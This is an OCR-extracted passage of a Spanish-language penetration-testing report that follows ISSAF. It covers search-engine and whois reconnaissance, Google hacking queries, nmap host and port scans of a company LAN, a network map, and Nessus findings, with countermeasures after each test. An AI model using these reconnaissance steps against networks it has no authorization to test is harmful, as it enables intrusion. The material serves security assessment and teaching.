electronicos, documentos publicos o cualquier elemento electrénico y fisico

gue permita identificar el sitio web de la empresa.

Actividades

1. Utilizar cualquier motor de busqueda (Google, Yahoo, MSN, Dogpile).
2. En el buscador colocar palabras claves o elementos que puedan
proporcionar resultados referentes al portal de la empresa.

3. ldentificar el sitio web de la empresa.

Resultados

1. Motor de busqueda utilizado.

web \ images || video news [ shopping [§

| Search

Figura 24. Motor de busqueda.
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2. Por ejemplo, se tomara como referencia la siguiente palabra clave

“oissg” (Open Information Systems Security Group), también se puede

agregar mas palabras claves con el fin de obtener mejores resultados.

Figura 25. Motores de busqueda.

Go Fetch!

Preferences

3. En la Figura 25 presenta informacion correspondiente a sitios web, se

escoge el sitio que mas se asemeje con la palabra clave o cuya

descripcion encaje con la empresa.

dogpile E, -

@ web
images
& videos
N news

® shopping

Recent Searches

Hide Clear

Scorpion Monitoring Software - Software de Monitoreo
Alarmas

www.scorpionms.com.ec/ ¥

Descubra el mejor software integral para centrales de monitoreo
de alarmas.

Monitoreo Personalizado - Software Multiusuario

= Visit Website

Ask Security Tech Support - Tech Support Will Fix It
Now

www justanswer.com/Security ¥

Questions Answered Every 9 Seconds. Get Tech Answers Online
& Save Timel

Ask Your Car Question Now - Ask on JustAnswer Now

= Visit Website

OISSG - Posts | Facebook
https://www.facebook.com/OISSGiposts

OISSG - Open Information Systems Security Group - The Open
Information Systems Security Group (OISSG) is an independent and
non-profit organization with vision to spread information security
awareness by hosting an environment where security

ISSAF Methodology Analysis and Critical Evaluation
https://wrOng.name/other/REPORT_PenetrationTesting_Methodolog
y.pdf

The OISSG claims it to be broad, up-to-date, and to include tools,
best practices, as well as administrative concerns. Among the
Internet, the ISSAF is also described as “infancy”, or even
“outdated” (Ali

OISSG - WikiApiary

https://wikiapiary.com/wiki/OISSG

OISSG has 0 notification(s). So far no notification has been
requested for this website. Add a notification

OISSG - Home

WWW.0iS5g.0rg

Vision OISSG is an and non-profit with
vision to spread information security awareness by hosting an
environment where security enthusiasts from all over globe share
and build knowledge.

Pl VI P
hitps://oissggroup com/about htmi
OISSG QATAR was formed to deliver professional services in
association vith OISSG USA and OISSG UK. At OISSG QATAR, we
understand the need to keep pace with technology and take
of the offered by
innovations

Preferences

Are you looking for?

oissg penetration testing methodology
oissg penetration testing

pentest methodology

information system security assessment..
issaf

issaf pdf

penetration testing methodology

web application penetration testing met...

Figura 26. Recopilacion de informacién a través de motores de busqueda.
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G

Events ISSAF Research Awareness Job Portal About Us Registration Form

IISSAF I S S A F

- Information Systems Secuity
Read More
Assessment Framewaork

Figura 27. Recopilacion de informacion a través de motores de busqueda.

Otro ejemplo puede ser la localizacién de una extranet en el sitio web de la
empresa como se muestra a manera en la Figura 28, contiene una pantalla de
acceso a un sistema, que posteriormente puede ser evaluado para determinar

posibles vulnerabilidades.

Login

No. de Empleado: [ ][ BR ']

Clave de Acceso: [ ]

[Iniciar Sesion ]

Figura 28. Acceso a una extranet.

Contramedidas

- Evitar la publicacién de informacion que permita la identificacion de
socios, gerentes y administradores que administren los activos criticos

de la empresa.




52

Tabla 15.

Determinar informacién técnica como registros de dominio y direcciones IP

Prueba #2

Descripcion

Recoger informacion técnica a través del registro regional de dominio en este
caso para Ecuador “nic.ec” o puede ser a nivel mundial “who.is”, el objetivo de
esta prueba consiste en obtener nombres, direcciones de los administradores,

correos y direcciones IP’s publicas de servidores.
Actividades

1. Utilizar cualquier navegador y acceder al sitio who.is.
2. Una vez dentro de who.is colocar el sitio web de la empresa obtenido
en la prueba #1.

3. Recopilar y analizar la informacion obtenida a partir de esta busqueda.
Resultados

El resultado de este proceso permite obtener informacion acerca del DNS,
localizacion, correos de contacto, IP publica en determinados casos, etc. Estos
elementos una vez analizados y recopilados permiten crear falsos positivos
basados en supuestos como, la versién del S.O que actualmente tiene el
servidor DNS, bases de datos, direcciones IP, las siguientes pruebas
permitiran comprobar si algunos de estos elementos contienen

vulnerabilidades que pueden ser explotadas.

En este caso la Figura 29 solo presenta informacion acerca de direcciones de
registro, correos electronicos y otros elementos que no aportan en gran medida

con la investigacion de la empresa.



who.is

Domain N
Registry
Registra
Registra
Updated
Creation
Registra
Registra
Sponsori
Registra
8

S

Q Premium Domains Transfer

ame: 0ISSG.COr

Domain ID: 1586292076_DOMAIN_COM-VRSN
r WHOIS Server:
r URL: http: v.fabulous.com
Date: 2018-04-06T11:23:262
Date: 2010-92-22713:08:23Z

r Registration Expiration Date: 2019-02-22713:08:23Z

hois.fabulous.com

r: Sea Wasp, LLC
ng Registrar

r Abuse Contact

: 411
il: abuse@fabulous.con

r Abuse Contact Phone: +1.5045078209

tatus: ok (https:// .icann.org/eppsok)

Admin Em
Tech Ema
Registra
Registra
Registra
Registra

2il: oissg.com-adnin@fabulouswhoisconpliance,con

il: oissg.con-tech@fabulouswhoisconpliance,con

nt Organization: Cykon Technology Limited

nt State/Province: Kowloon

nt Country: HK

nt Email: pissg,con-registrant@fabulousvhoisconpliance.con

Name Ser
Name Ser
URL of t
http://w
>»»> Last
For more

please v

The comp
data is
Sea Wasp

Sea Wasp
database

ver: nsd.easily.net

ver: 3.easily.net

he ICANN WHOIS Data Problem Reporting System
dprs.internic.net
update of WHOIS database: 2018-11-21707:37:54Z <<«

information on Whois status codes,

isit https:/

icann.org/resources/pages/epp-status-codes-2014-06-16-en.

ilati repackaging, dissemination, or other use of this WHOIS
expre y prohibited without the prior written consent of

» LLC.

reserves the right to terminate your access to its WHOIS

in its sole discretion, including without limitation, for

excessive querying of the database or for failure to otherwise abide by

thisz pol
this pol

Sea Wasp, LLC reserves the right to modify these terms at any time.

NOTE: TH
LACK OF

Informat

icy.

E WHOIS DATABASE IS A CONTACT DATABASE ONLY.
A DO¥ i RECORD DOES NOT SIGNIFY DOMAIN AVAILABILITY.

ion Updated: 2018-11-21 19:37:54

Figura 29. WHO IS para identificar dominio, IP e informacion.
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Para busquedas basadas en Whois a nivel de regiones o este caso de Ecuador

(.ec) se lo realiza a través del sito, nic.ec.

DOMINIOS ECUADOR

Inicio

Domi

nios~ Sitios webs ~ Correo Electrénico

Figura 30. Domino de una Empresa - Ecuador.

Comprobantes Electronicos
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Conclusiones

- Los registros a través de Whois en ciertos casos presentan informacion
gue es relevante como direcciones de contacto, nombres u otros
elementos personales con la finalidad de perfilar a un administrador.

Tabla 16.

Busqueda de Solicitudes de empleo en Bases de Datos

Prueba #3

Descripcion

Recopilar informacion relacionada con anuncios de trabajo publicados por la
empresa en ciertos casos se puede determinar tecnologias o servicios que
manejan, en base a ello se podran relacionar vulnerabilidades existentes con

tales tecnologias (Hardware o Software).

Actividades

1. En cualquier buscador colocar palabras claves “empleo + (nombre
empresa)”.

2. Comprobar en los sitios web si existen hojas de vida, publicaciones,
correos electrénicos, permitirse relacionar la informacion obtenida hasta

el momento con la tecnologia.

Resultados

Por ejemplo, en la figura 31, la empresa utiliza publicaciones para contratar
personal, a pesar de ello solo se puede determinar informacion irrelevante para
la investigacion ya que tales datos no estan relacionados con el manejo de una

tecnologia en particular.
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*Conocimientos del ADMINISTRACION DE *Actividades a ADMINISTRACION DE LA OPERACION DE RESTAURANTE, PERSONAL,
argo: RESTAURANTES Desempefiar: INVENTARIOS, ATENCION AL CLIENTE.
‘Capal:_iifaciqnes / 0-50 HORAS - *Jornadas _de Jomada Ordinaria (8 horas) v
Certificadones: trabajo:
Informacién *Ndamero de cargos 1
adicional: solidtados:
Experiencia y Capacitacion
Area Capacitacién: Area Experiencia:

= Administracién
= Gastrenomia
* Hoteleria

= Administracién/oficina
= Hoteleria/Turismo

Figura 31. Informacion recopilada de DB de Empleos.

Conclusiones

- De acuerdo con la informacién obtenida esta no representa algun riesgo
para la seguridad de la empresa ya que en la publicacién no describe la
utilizacién de una tecnologia en particular.

- Una publicacién correcta de una oferta laboral que esté relacionada con
la tecnologia es aquella que no especifica versiones u otros elementos

gue permitan identificar vulnerabilidades del software o hardware.

Tabla 17.

Examinar elementos obtenidos en las evaluaciones anteriores

Prueba #4

Descripcion

A través del motor de busqueda de Google y usando técnicas de Google
hacking se puede obtener documentacién en formatos pdf, xlsx, docx. Este
proceso se caracteriza por seguir en el anonimato ya que la informacién se

encuentra de manera publica en varios sitios.

Actividades

1. Utilizar el motor de busqueda de Google y el comando escogido,
seguido de la palabra clave.

2. Los comandos pueden ser:
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a. Intext:(Palabra clave) + filetype:(pdf, docx, xIsx).

b. Inturl:(Palabra clave) + filetype:(pdf, docx, xIsx).

Dependiendo de la informacion obtenida puede ser beneficioso aplicar
ingenieria social, ya que se pueden crear perfiles en base a cada empleado,

suponiendo cargos y sus niveles de acceso al sistema o equipos.

Resultados

De acuerdo con los resultados obtenidos se han podido recoger la siguiente

informaciéon como ejemplo:

Documentacion y archivos en un formato especifico.

GO gle intext: oissg filetype:pdf !, Q
Todos Videos Maps Imagenes Noticias Mas Preferencias Herramientas
0155G Cerca de 4,780 resultados (0.36 segundos)

Archivo PDF
Information Systems Security Assessment Framework (ISSAF) - OISSG

www.oissg.org/files/issaf0.2.1B.pdf
1 ene. 2013 - The WHOIS information about the OISS$G.org domain is more promising, showing the ...

b.ns.oissg.org internet address = 212.158.214.187.

FOFI OWASP Spain - Internet Security Auditors

https:/fwww isecauditors.com/sites!.. JOWASP-OWASP_Foundation_Spain_Chapter.p... =
16 jun. 2006 - Colaborador de la OISSG (Open Information Systems. Security Group): proyecto *
ISSAF". Colaborador de la OSSTMM (ISECOM).

Figura 32. Aplicacion de Google Hacking — Archivos PDF.

Documentacién en formato pdf cuya busqueda solamente sea en URL que

mencionen “oissg” (Open Information Systems Security Group).
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GO g|e inurl:oissg filetype: pdf !, Q

Todos Videos Maps Imagenes Moticias Mas Preferencias Herramientas

Busca archivos

pdf unicamente

en url Information Systems Security Assessment Framework (ISSAF) - OISSG
de oissg. $1.'.n.nfw.oissg.orga'ﬂles.f‘issafD.Q.1 B.pdf

1ene. 2013 - A1 PHASE - I: PLANNING AND PREPARATION. This phase comprises the steps to
exchange initial information, plan and prepare for the test.

Cerca de 98 resultados (0.43 segundos)

CISSP Boot Camp Training, Lagos, Nigeria - OISSG
www.oissg.org/ficissp-doha.pdf - Traducir esta pagina

nn
u

Above 90% passing rate overall, many classes with 100% passing. 2. The quality of the Instructor —
Clement delivered over 200 classes. 3. Thinking the way ...

PP Clement Dupuis - OISSG

¢.mﬂ.«fw.oissg.orga'tf‘cissp-kuwait.pdf + Traducir esta pagina
Above 92% passing rate, last four batched 100% passing rate. 2. The quality of the Instructors.
3.Thinking the way t15C2 want you yo think: leam 1SC2 way of ...

oA View/Download - OISSG

oissg.org/oissg_design/approved/pdfpassword_1.pdf = Traducir esta pagina

Do choose a password that is 8 characters long or more. * DO pick a password that you will remember.
* Do change your password regularly. * DO include ...

PRI F1ST-Conference Delhi - OISSG
$ www.0issg.org/MistMay2004DelhifFIST-Conference%20Delhi pdf = Traducir esta pagina
10 may. 2004 - TABLE OF CONTENTS. Sponsor:
oo 3. Date and Time:.
View/Download - OISSG
¢pissg.org.-‘oissg_design.*approved.-‘pdtf'clean_desk_1 _pdf - Traducir esta pagina

It shows the right image when customers visit us. 2. It prevents security breaches as passwords and
confidential information gets locked away. 3. Studies show ...

Figura 33. Aplicacion de Google Hacking — Archivos PDF solo OISSG.

Conclusiones y Contramedidas

- Dependiendo de la cantidad de la informacion se puede perfilar ciertos
elementos de hardware y software que utiliza la empresa.

- Parte de la informacién encontrada puede provenir de sitios de terceros
0 proveedores, por lo que este problema esta fuera del alcance de la
empresa, sin embargo, puede protegerse y reforzar areas las cuales se
mencionan en tales documentos.
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3.3.2.1.2.2 Proceso 2: ISSAF - Mapeo de Red

Los resultados del proceso 1 no han permitido obtener informacion relevante
para generar un posible mapa de red o determinar vulnerabilidades de hardware
0 software en la empresa, por lo que se ha optado por dar inicio al proceso 4
(Penetracidn) con la finalidad de aprovechar la ingenieria social y acceder a

través de la red inalambrica.

Al finalizar el proceso 4 se obtendra el acceso a la red de la empresa.

)

Metodologia de Pruebas de ‘
‘ Penetracion [1dentificacion de

\Vulnerabilidades;

(2) Evaluacion

N

Figura. 34. Fase 2 — Metodologia de Pruebas de Penetracion (ISSAF) — Mapeo
de la Red.
Adaptado de ISSAF, 2008, p. 147

Una vez obtenida la contrasefia del ruteador inalambrico, el computador de
pentest que utiliza el sistema operativo de Kali Linux 2018 puede continuar con

el proceso 2 y 3 de la metodologia de pruebas de penetracion.
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Tabla 18.

Identificar Host Activos en la Red de la Empresa

Prueba #5

Descripcion

Identificar todos los hosts (dispositivos conectados a la red) a través de un
escaner de red LAN.

Actividades

1. Abrir una nueva terminal de linea de comandos.

2. ingresar el comando nmap —Sp 192.168.1.1-254.
Resultados

Como se observa en la Figura 33 se identifican varios de los hosts que
actualmente se encuentran activos (encendidos), la informacién recopilada
son direcciones MAC que en este caso son los equipos de red que hacen de
ruteadores o puntos de acceso.

MAC Address: D4:CA:6D:/9:/77:E2 (Routerboard.com)
Nmap scan report for 192.168.1.2 [host down] {}
Nmap scan report for Direccién IP

Host is up (0.010s latency).

MAC Address: 54:B8:0A:09:7F:FE (D-Link International)

Nmap scan report for [92.7168.1.4]

MAC

Host is up (0.014s latency).
MAC Address: B0:C5:54:A5:D4:7E (D-Link International)

Nmap scan report for Eﬁ;m
Host is up (0.019s latency).

MAC Address: C8:BE:19:58:33:68 (D-Link International)

Figura 35. Direcciones IP y Mac de los activos criticos de red.

Nmap scan report for [192.168.1.13 |< =3 DirecciénIP
Host is up (0.069s latency). MAC y Nombre del Equipo

MAC Address: | 00:21:5A:D5:76:EE | (Hewlett Packard)

Figura 36. Direccion IP y Mac del servidor de almacenamiento.
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La Figura 36 identifica a un dispositivo que puede estar relacionado con el
servidor de almacenamiento el cual forma parte de los activos criticos, asi

también su direcciéon MAC.

MAC Address: EO:D5:5E:46:5/:11 (Glga-byte Technology)
Nmap scan report for Direccion P Equipo 1
Host is up (0.0050s latency).

MAC Address: E0:D5:5E:46:57:17 (Giga-byte Technology)

Nmap scan report for [192.168.1.158 Eaui
. quipo 2
Host is up (0.0031s latency).

MAC Address: EO:D5:5E:46:5/:88 (Glga-byte lechnology)

Nmap scan report for [192.168.1.160 i
Host is up (0.058s latency). -

MAC Address: EO:D5:5E:46:57:81 (Giga-byte Technology)
Nmap scan report for o

> quipo 4
Host is up (0.049s latency).
MAC Address: EO0:D5:5E:46:57:44 (Giga-byte Technology)
\map scan report for Equino 5
Host is up (0.0069s latency).
MAC Address: EO0:D5:5E:46:57:84 (Giga-byte Technology)
\map scan report for
fost is up (0.046s latency).
MAC Address: E0:D5:5E:46:57:80 (Giga-byte Technology)

Nmap scan report for |192.168.1.171 Equipo 7

Host is up (0.048s latency

Equipo 6

Figura 37. Direcciones IP y Mac de los computadores en oficinas.

Finalmente, la Figura 35 indica las direcciones IP y MAC de cada uno de los
computadores que forman parte del grupo de los activos criticos.

Conclusiones

- En base a la asignacién de direcciones IP dentro de la red se asume
que los ruteadores utilizan el servicio de DHCP por lo que cualquier
dispositivo inalambrico puede conectarse.

- Los hosts identificados se encuentran dentro de los activos criticos por

lo que se analizara puertos y otras vulnerabilidades.
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Tabla 19.

Escaneo de Puertos

Prueba #6

Descripcion

Determinar posibles puertos (TCP) abiertos o cerrados en base a la prueba #5.

Actividad

1. En kali Linux, utilizar la linea de comandos.
2. Digitar el comando nmap —St —PB 192.168.1.X, donde la X representa

cada direccion IP.
Resultados

La figura 38 es el ruteador principal esta captura de pantalla lista una serie de
puertos que actualmente se encuentran abiertos, cabe destacar que el puerto
8291 se presenta como un servicio “desconocido”, para este puerto existe una
vulnerabilidad que en posteriores procesos sera explotado permitiendo

obtener una contrasefa a nivel de administrador.

:~#|nmap -sT - 32.168.1. Host Evaluado
Starting Nmap 7.78 ( htips nmap.org ) atv2018-11-18 19:30 EST
Nmap scan report for e 5% |
Host is up (0.060893s latency).
Not shown: 988 closed ports
PORT STATE SERVICE
22/tcp filtered ssh
53/tcp open domain

2 open http
cp filtered xfer una version donde

Lista de puertos cuyos
servicios pueden tener

1723/tcp open existan vulnerabilidades
2008/tcp filtered c 0- que pueden ser
2010/tcp filtered

2020/tcp filtered xi
2030/tcp filtered ¢

8010/tcp filtered

80808/tcp open http-proxy

8291/tcp open unknown <: Vulnerabilidad

Nmap done: 1 IP address (1 host up) scanned in 1.32 seconds
:~N

aprovechadas por
atacantes.

Figura 38. Identificacion de Puertos TCP en el ruteador principal.
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Starting Nmap 7.70 ( https //nmap org ) at lg??1-19 09:11 EST
map scan report for 192.168.1.3
(0.014s latency).
: 997 closed ports

STATE SERVICE Listado de puertos abiertos en
open domain <: aso de un equipo que
http sirve como punto de acceso.
unknown
:B8:0A:09:7F:FE (D-Link International)

Figura 39. Identificacion de Puertos TCP en los ruteadores Wireless -

gerencia.

Starting Nmap 7.76 ( https //nmap org ) at 2018-11-19 09:11 EST
Nmap scan report for 192.168.1.4
Host is up (0.027s latency).
Not shown: 997 closed ports
PORT STATE SERVICE Listado de puertos, en este
open telnet caso el puerto 80 puede servir
http para publicar una pagina web
park-aaent falsa.
MAC Address: BO:C5:54:A5:D4:7E (D-Link International)

Nmap done: 1 IP address (1 host up) scanned in 15.02 seconds

Figura 40. Identificacion de Puertos TCP en los ruteadores Wireless -

oficinas.

:~# nmap -sT -PB 192.168.1.5 Host
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-19 ©9:18 EST
Nmap scan report for 192.168.1.5
Host is up (0.025s latency).
Not shown: 994 closed ports

STATE SERVICE

open domain

open http

filtered rpcbind

open netbios-ssn

filtered https

btx

MAC Address: C8:BE:19:58:33:68 (D-Link International)

Nmap done: 1 IP address (1 host up) scanned in 14.43 seconds

Figura 41. Identificacién de Puertos TCP en los ruteadores Wireless -

restaurante.

Las figuras 39, 40 y 41 corresponden a los ruteadores inalambricos, como se
puede observar todos ellos arrojan una lista de puertos donde el mas comun
en las 3 figuras es el puerto 80, sin embargo, la inseguridad de un puerto recae
en el servicio que esta escuchando en este caso es el servidor web, este debe
estar asegurado y con sus parches de seguridad actualizados con el fin de

evitar posibles vulnerabilidades.
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Servidor de Almacenamiento

:~# Inmap -sT -PB 192.168.1.13 Host
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-18 19:35 EST
Nmap scan report r 192.168.1.13
Host is up (0.69s latency)
Not shown: 978 closed ports
STATE SERVICE
open domain
open Kkerberos-sec
open msrpc

open netbios-ssn <: Vivtis = Wankiszry

open ldap
open microsoft-ds <=4
open Kkpasswd5

open http-rpc-epmap Listado de puertos

abiertos pertenecientes
al servidor, varios de los

636/tcp open Lldapssl
1433/tcp open ms-sql-s
2301/tcp open compaqdiag
2381/tcp open compaq-https
open globalcatLDAP
open $S

servicios pueden ser
explotados por un
atacante debido a la falta
de parches de seguridad.

open

open
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown

Figura 42. ldentificacion de Puertos TCP en los ruteadores Wireless -

restaurante.

En el afio 2017 y parte del 2018 se ha proliferado el virus conocido como
WannaCry, un ransomware que se caracteriza por cifrar todos los archivos del
computador afectado, se exigia un rescate de 300$ en bitcoins a cambio de
descifrar los archivos. Este ataque ocurria en equipos cuyas actualizaciones
de seguridad se encontraban desactualizadas y en puertos abiertos como el
445y 139 en TCP.

Conclusiones y Contramedidas

- Existen puertos abiertos para los activos de red como para el servidor
de almacenamiento, por lo que es necesario comprobar si los servicios
gue estan ligados a tales puertos cuentan con los ultimos parches de
seguridad.

- Es necesario restringir ciertos servicios para que no sea accesible por

cualquier persona o implementar un cortafuegos.
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Tabla 20.

Escaneo de Puertos UDP

Prueba #7

Descripcion

Determinar posibles puertos (UDP) abiertos o cerrados en el servidor de

almacenamiento.
Actividad

1. En kali Linux, utilizar la linea de comandos.

2. Digitar el comando nmap —sU —p 192.168.1.13.
Resultados

Continuando con la explicacién realizada en la prueba #6 se habl6 del virus
WannaCry de igual forma se han identificado los siguientes puertos UDP 137

y 138 en la figura 43.

20:00, 1122.49s elapsed (1080 total ports)
r 192.168.1.13
s latency).
977 closed ports
YORT STATE
3/udp open d
38/udp open|filtered kerberos-s
- =

netblos-ns
open|filter netbios-dgm
en STD

open|filtere
open|filtered
open|filtered
open|filtered
open|filtered
open|filtered
open|filtered
open unknown
open|filtered unknown
open|filtered unknown
open unknown
open unknown
open|filtered unknown
open unknown
open unknown
open unknown

p open|filtered unknown
$S5: 00:21:5A:D5:76:EE (Hewlett Packard)

es from: fusr/bin/../share/nmap
: 1 IP addre 1 host up) scanned in 1122.77 seconds
Raw packets sent: 1542 (46.830KB) Revd: 1227 (75.345KB)
¥

Figura 43. Identificacion de Puertos UDP Servidor.
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Conclusiones y Contramedidas

- Implementar un cortafuegos y configurarlo para que solo transmita
informacion absolutamente necesaria, restringir las direcciones de
origen en los servidores.

- Determinados servicios no deben ser accesibles para cualquier usuario

salvo para los administradores.

Tabla 21.

Analizar y Generar un Mapa de Red basado en la Informacion

Prueba #8
Descripcion

La informacion obtenida en pruebas anteriores puede generar un mapa de red
en el cual estén incluidos ruteadores, Switches, puntos de acceso y
computadores. Este resultado permite determinar como la informacion encaja

entre si con los activos criticos y sus posibles vulnerabilidades.
Actividad

1. Agregar informacion sobre cada dispositivo analizado en pruebas

anteriores en un mapa de red.
Resultados

Las figuras 42 y 43 recogen los resultados obtenidos de anteriores pruebas,
utilizando diagramas de red se han afladido nombres y direcciones IP a los
activos criticos como ruteadores inalambricos, Switches, computadores,
servidor. El circulo en rojo permite identificar el alcance y nivel de afectacion
gue han tenido los ruteadores inalambricos debido a un ataque aplicado en el

proceso 4.
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RED EMPRESA - 192.168.1.X
moédem ADSL 2+

4

192.168.1.1
Ruteador
Principal

Restaurante

Contabilidad
DHCP

COBERTURA DE
RED INSEGURA

Figura. 44. Topologia de Red Oficinas a partir de la informacion recopilada
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RED EMPRESA - 192.168.1.X

Linux CentOS R5
192.168.1.10

médem ADSL +2
Windows Server 2008 SP1

Servidor de Archivos
[ ] 192.168.1.13
—
192.168.1.1 ! Ruteador l
-

Restaurante

Ruteador Principal
DHCP l 1921681 100

’ ——
Switch PC1
OFICINAS 192.168.1.185 Restaurante

192.168.1.179 - 253

m —

Pedidos 3
Punto de Venta 1

]
._I_‘———@
i—— ‘ '

Punto de Venta 2
. I—
——
_ —1
—
Pedidos1 | _oern y/

T

Pedidos 2 —

SERVER ALOHA

Figura. 45. Topologia de Red — Restaurante a partir de la informacion

recopilada

Conclusiones y Contramedidas

- Permitir y restringir solo servicios necesarios a través de la
implementacion de un cortafuegos.

- El Ruteador restaurante cuenta con una IP estéatica y configurado a
través de DHCP permitiendo actuar como un switch, sin embargo,

cuenta con la misma vulnerabilidad que el ruteador principal.
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3.3.2.1.2.3 Proceso 3: ISSAF - Identificacién de Vulnerabilidades
AR P

.\ Metodologia de Pruebas de

Penetracion Identificacir 1><:'
Vulnerabilidades

(2) Evaluacion

\ 4

Figura. 46. Fase 2 — Metodologia de Pruebas de Penetracion (ISSAF) —
Identificacion de Vulnerabilidades.
Adaptado de ISSAF, 2008, p. 147

Para este proceso es necesario definir una matriz con un enfoque técnico que

clasifica el riesgo de la vulnerabilidad en funcion del impacto del negocio.
Tabla 22.

Descripcion y asignacion de gravedad a las vulnerabilidades

Gravedad Descripcion

Vulnerabilidad Vulnerabilidades que se encuentran relacionadas
de riesgo alto directamente con el proceso de negocio ademas utiliza la
propagacion e infeccibn de equipos. Altos costos

econdmicos de pérdida para la empresa.

Vulnerabilidad Vulnerabilidades que se relacionan con el proceso de
de riesgo medio negocio, pero no de forma directa. Son sistemas capaces
de soportar una cantidad razonable de tiempo fuera de

servicio sin afectar al proceso de negocio.
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Vulnerabilidad Vulnerabilidades que no se relacionan con el proceso de
de riesgo bajo negocio y que en caso de fuga o manipulacion de
informacion no afecta a la empresa, sin embargo, no
tratarlas pueden cambiar a riesgo medio o alto con el

transcurso del tiempo.

Como se indica en la tabla 22, se puede designar el tipo de gravedad
correspondiente a cada vulnerabilidad a través de una descripcion utilizando el

método cualitativo.
Matriz de impacto técnico VS impacto al negocio
Tabla 23.

Descripcién de la matriz Impacto Técnico VS Impacto Negocio

Riesgo de Negocio Riesgo de Riesgo de negocio

bajo negocio medio alto

Riesgo | Total, control sobre el JEeir-IMee]alige] KTe]o]f=Ri o) r-1 MM elo] g1 (o] MET0]0] (=)
técnico | sistema que no esta ESECINEERETl[INrEURNC] sistema

Alto relacionado con el Jefe[el=Ele] de relacionado con el

proceso de negocio.  Malcls[eleleR proceso de negocio.

Riesgo | Dejarfuerade servicio | Dejar fuera de [BISIETSEN (V=17 NG (c!
técnico | al sistema que no se | servicio al sistema /ORI Il

Medio |relaciona con el | afin al proceso de REElele]gF:To[olelolalz]]

proceso de negocio. | negocio. proceso de negocio.

Riesgo | Fuga de informacion | Fuga de | Fuga de informacion
técnico | no critico del sistema | informacién no | no critico del
Bajo que no esta | critico del sistema | sistema relacionado

relacionado con el | afin al proceso de | con el proceso de
proceso de negocio. | negocio. negocio.
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Identificacion de Puntos de Acceso Vulnerables

Este proceso utiliza la herramienta de andlisis de escaneo de vulnerabilidades
conocido como Nessus, identifica y muestra un nivel de riesgo para cada host.
Para esta ocasion se va a analizar los activos criticos relacionados con el

proceso de negocio.
Nessus

Considerada como una de las mejores herramientas para la evaluacion de
vulnerabilidades, identifica debilidades y errores en la configuracion de equipos

los cuales pueden ser aprovechados por atacantes.
Las caracteristicas mas representativas de este escaner son:

e Simple, facil e intuitivo para su manejo a través de plantillas sugeridas.
¢ Identificacién de una gran cantidad de activos.
e Deteccion en tiempo real y verificacion de parches de seguridad de forma

continua.
Aplicacién

Actualmente Nessus cuenta con una prueba de 7 dias la cual brinda acceso total
a todas sus herramientas, para este analisis se opta por este beneficio y se utiliza

un escaneo basico de toda la red.

Nessus (@) Scans  Settings s [1)
- Scs
n
. Scanne
B T
& Lo ' =
Advanced Scan Audit Cloud Infrastructure Badiock Detection Bash Shallshock Datection Basic Network Scan
Q@ (] E
Credentisied Patch Audit OWNDetection _ Host Discover v ielAMT Securty Bypass oternol PC1 Notwor
-
) = =
MawersScan  MOMConfighust N Mobile Devioe Scan i
E ' & T -

Figura 47. Nessus — Escaneo de Vulnerabilidades.
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La tabla 24 contiene los resultados de las vulnerabilidades identificadas en los
activos criticos mediante el escaner de Nessus, cabe destacar que con el analisis
realizado se evaluaron todos los dispositivos dentro del entorno de red por lo que
se recopilo una gran cantidad de informacién. A continuacion, las siguientes
tablas presentan un disefio donde se menciona el nombre del activo, su direccion
IP, el nombre de la vulnerabilidad identificada con su respectiva descripcién y la

amenaza que puede presentarse de no corregirla a tiempo.

Tabla 24.

Vulnerabilidades encontradas

Grupo Posible Vulnerabilidad# V1 Activo Direccién IP
de Amenaza Amenazado
INSIVGE Desbordamiento de bufer
SAMBA.
Equipos Se pueden Un usuario remoto puede Ruteador 192.168.1.1
de Red aplicar ataques suministrar un encabezado Principal
a la red de autenticacion basica
inalambrica, HTTP especialmente
debido a la falta disefiado que contenga un
de caracter Base64 no valido
administracion para desencadenar el
para detectarlos desbordamiento y ejecutar
0 mitigarlos. un cdédigo arbitrario en el
sistema de destino.
Grupo Posible Vulnerabilidad# V2 Activo Direccion IP
de Amenaza Amenazado
S Vulnerabilidad de lectura
y escritura de archivos
arbitrarios no
autenticados del ruteador
Equipos  Se pueden Se ejecuta una version Ruteador 192.168.1.1
de Red aplicar ataques vulnerable de escritura y Principal

a la red

lectura de archivos
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inalambrica,
debido a la falta
de
administracién

para detectarlos

arbitrarios no
autenticados. Un atacante
no autenticado podria
aprovechar esta

vulnerabilidad para leer o

o mitigarlos. escribir archivos protegidos
en el host afectado.
Nessus pudo aprovechar
esta vulnerabilidad para
recuperar el almacén de
credenciales del
dispositivo.
Grupo Posible Vulnerabilidad# V3 Activo Direccién IP
de Amenaza Amenazado
Activos
Equipos Se pueden EI servidor DNS remoto Ruteador 192.168.1.1
de Red aplicar ataques responde alas consultas de Principal
a la red dominios de terceros que
inalambrica, no tienen establecido el bit

debido a la falta
de
administracion
para detectarlos

0 mitigarlos.

de
atacante esta interesado en

recursion. Siun
saber el nombre de la
compaifiia, podria usar este
ataque para construir un
modelo estadistico sobre la
compafiia. El ataque

también se puede usar para

encontrar, patrones de
navegacion web,
servidores de correo

externos y mas.

Si este es un servidor DNS

interno que no es accesible
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para las redes externas, los

ataques se limitarian a la

red interna. Esto puede
incluir empleados,
consultores 'y usuarios

potenciales en una red de
invitado o conexién WiFi si

es compatible.

Grupo Posible Vulnerabilidad# V4 Activo Direccion IP
de Amenaza Amenazado
Activos Deteccion del servidor
DNS
Equipos  Se pueden El servicio remoto, es un Ruteador 192.168.1.1
de Red aplicar ataques servidor de sistema de Principal
a la red nombres de dominio (DNS),
inalambrica, que proporciona una
debido a la falta asignacién entre los
de nombres de host y las
administracion direcciones IP.
para detectarlos
o mitigarlos.
Grupo Posible Vulnerabilidad# V5 Activo Direccion IP
de Amenaza Amenazado
Activos Deteccion del servidor
DHCP
Equipos  Se pueden Esta secuencia de Ruteador 192.168.1.1
de Red aplicar ataques comandos contacta con el Principal
a la red servidor DHCP remoto (si
inalambrica, existe) e intenta recuperar

debido a la falta
de
administracion
para detectarlos

o mitigarlos.

informacion sobre el disefio
de la red.
Algunos servidores DHCP
proporcionan informacion
confidencial, como el
nombre de dominio NIS, o

informacién de disefio de la
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red, como la lista de

servidores web de la red,

etc.
No demuestra ninguna
vulnerabilidad, pero un

atacante local puede usar

DHCP para familiarizarse

intimamente con la red
asociada.
Grupo Posible Vulnerabilidad# V6 Activo Direccién IP
de Amenaza Amenazado
Activos
Equipos  Se pueden ElI host remoto tiene Ruteador 192.168.1.3
de Red aplicar ataques habilitado el reenvio de Inalambrico A
